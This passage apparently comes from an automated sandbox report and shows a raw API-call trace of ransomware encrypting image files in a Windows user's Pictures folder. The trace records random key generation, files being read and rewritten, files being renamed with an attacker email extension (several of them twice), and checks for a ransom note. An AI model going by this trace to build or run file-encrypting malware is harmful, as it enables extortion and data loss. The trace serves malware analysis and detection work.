_Dest=0x2fc4760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.033] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.033] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4760) returned 1 [0170.034] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0170.034] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.034] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.034] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0170.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6f050) returned 1 [0170.034] RtlExitUserThread (Status=0x1) Thread: id = 1875 os_tid = 0x590 [0170.035] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.035] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.036] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x117ef9fc | out: lpFileSize=0x117ef9fc*=67482) returned 1 [0170.036] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x10796, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.036] ReadFile (in: hFile=0x370, lpBuffer=0x117ef9d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x117ef9d0*, lpNumberOfBytesRead=0x117ef9cc*=0x4, lpOverlapped=0x0) returned 1 [0170.037] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0170.037] NtQuerySystemTime (in: CurrentTime=0x117ef9a8 | out: CurrentTime=0x117ef9a8*=132121213273501792) returned 0x0 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xadf547d7 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x8e1bfa9f [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xe62f35b5 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xeec3f688 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x31b1d0c8 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xe6f77cfd [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xc69b59a7 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x58b8b2ca [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xf82cb61a [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x2ef74113 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x93631316 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x43f550f6 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x82b9e288 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x968028c8 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x9f9037fe [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x4f623c17 [0170.037] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xfde30a39 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x587571f3 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xd2611aa3 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x34dcdec2 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xca39c7e1 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x2b18fd24 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x979ed343 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x5ab8812e [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xaa6681a2 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x9eecc8e9 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x7e3f70bb [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x8a1f15aa [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x2a89fa03 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x71f9878a [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0xc0bee5f6 [0170.038] RtlRandom (in: Seed=0x117ef9b4 | out: Seed=0x117ef9b4) returned 0x8a1c4381 [0170.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885e8 [0170.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.049] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.050] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x117ef980, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x117ef980*=0x4096, lpOverlapped=0x0) returned 1 [0170.050] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0170.050] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0170.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0170.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88700) returned 1 [0170.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.051] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x117ef980, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x117ef980*=0x4096, lpOverlapped=0x0) returned 1 [0170.051] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.051] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1079a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.051] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x117ef9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x117ef9b8*=0x20, lpOverlapped=0x0) returned 1 [0170.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.052] WriteFile (in: hFile=0x370, lpBuffer=0x2f885e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f885e8*, lpNumberOfBytesWritten=0x117ef9cc*=0x8, lpOverlapped=0x0) returned 1 [0170.052] WriteFile (in: hFile=0x370, lpBuffer=0x117ef9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x117ef9e4*, lpNumberOfBytesWritten=0x117ef9cc*=0x4, lpOverlapped=0x0) returned 1 [0170.052] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x117ef9cc*=0x4, lpOverlapped=0x0) returned 1 [0170.052] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x117ef9cc*=0x6c, lpOverlapped=0x0) returned 1 [0170.052] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x117ef9cc*=0x20, lpOverlapped=0x0) returned 1 [0170.052] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x117ef9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x117ef9cc*=0x4, lpOverlapped=0x0) returned 1 [0170.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885e8) returned 1 [0170.053] CloseHandle (hObject=0x370) returned 1 [0170.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1010 [0170.053] wcscpy (in: _Dest=0x2ff1010, _Source="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" [0170.053] wcscat (in: _Dest=0x2ff1010, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.053] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qbtsr3.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.054] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.054] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1010) returned 1 [0170.054] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.054] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4900 [0170.054] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.054] wcscat (in: _Dest=0x2fa4900, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.054] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.054] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0170.054] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe48e8) returned 1 [0170.054] RtlExitUserThread (Status=0x1) Thread: id = 1876 os_tid = 0x488 [0170.055] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.056] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.056] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1186fa78 | out: lpFileSize=0x1186fa78*=11636) returned 1 [0170.056] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x2d70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.056] ReadFile (in: hFile=0x370, lpBuffer=0x1186fa4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x1186fa4c*, lpNumberOfBytesRead=0x1186fa48*=0x4, lpOverlapped=0x0) returned 1 [0170.057] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.057] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.057] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.057] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885e8 [0170.057] NtQuerySystemTime (in: CurrentTime=0x1186fa24 | out: CurrentTime=0x1186fa24*=132121213273658566) returned 0x0 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x7e152a2d [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x5e640588 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x4aa82324 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xf6e0738d [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x60fc8436 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x74bb3462 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x4279d776 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xaaa77505 [0170.057] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x46b95f0d [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x5a534bab [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x19da3783 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xf33517a0 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xa9f5d970 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x78dd9fd5 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xf49fc273 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x6cf27480 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xcc6a31b9 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xe789e14a [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x61655f8b [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xa2921547 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x27f2f7bc [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xcfca505a [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xa0a9f91c [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x671353b3 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x99ca4297 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x77316439 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xa261e63e [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xe70a7a2c [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xfc0b4b7b [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0xb999338b [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x116772c0 [0170.058] RtlRandom (in: Seed=0x1186fa30 | out: Seed=0x1186fa30) returned 0x867998d6 [0170.069] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0170.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88610 [0170.071] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.071] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0170.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0170.071] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0170.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.072] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x2d74, lpNumberOfBytesRead=0x1186fa24, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1186fa24*=0x2d74, lpOverlapped=0x0) returned 1 [0170.072] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1186f9ec | out: lpNewFilePointer=0x0) returned 1 [0170.072] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x2d74, lpNumberOfBytesWritten=0x1186fa20, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1186fa20*=0x2d74, lpOverlapped=0x0) returned 1 [0170.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0170.072] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0170.072] WriteFile (in: hFile=0x370, lpBuffer=0x2f886d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1186fa1c, lpOverlapped=0x0 | out: lpBuffer=0x2f886d8*, lpNumberOfBytesWritten=0x1186fa1c*=0x20, lpOverlapped=0x0) returned 1 [0170.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0170.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.073] WriteFile (in: hFile=0x370, lpBuffer=0x2f88610*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x2f88610*, lpNumberOfBytesWritten=0x1186fa48*=0x8, lpOverlapped=0x0) returned 1 [0170.073] WriteFile (in: hFile=0x370, lpBuffer=0x1186fa60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x1186fa60*, lpNumberOfBytesWritten=0x1186fa48*=0x4, lpOverlapped=0x0) returned 1 [0170.073] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1186fa48*=0x4, lpOverlapped=0x0) returned 1 [0170.073] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1186fa48*=0x6c, lpOverlapped=0x0) returned 1 [0170.073] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x1186fa48*=0x20, lpOverlapped=0x0) returned 1 [0170.073] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1186fa48, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1186fa48*=0x4, lpOverlapped=0x0) returned 1 [0170.074] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.074] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88700) returned 1 [0170.074] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88610) returned 1 [0170.074] CloseHandle (hObject=0x370) returned 1 [0170.074] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff26d8 [0170.074] wcscpy (in: _Dest=0x2ff26d8, _Source="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" [0170.074] wcscat (in: _Dest=0x2ff26d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.074] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\qlaru6xm.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: 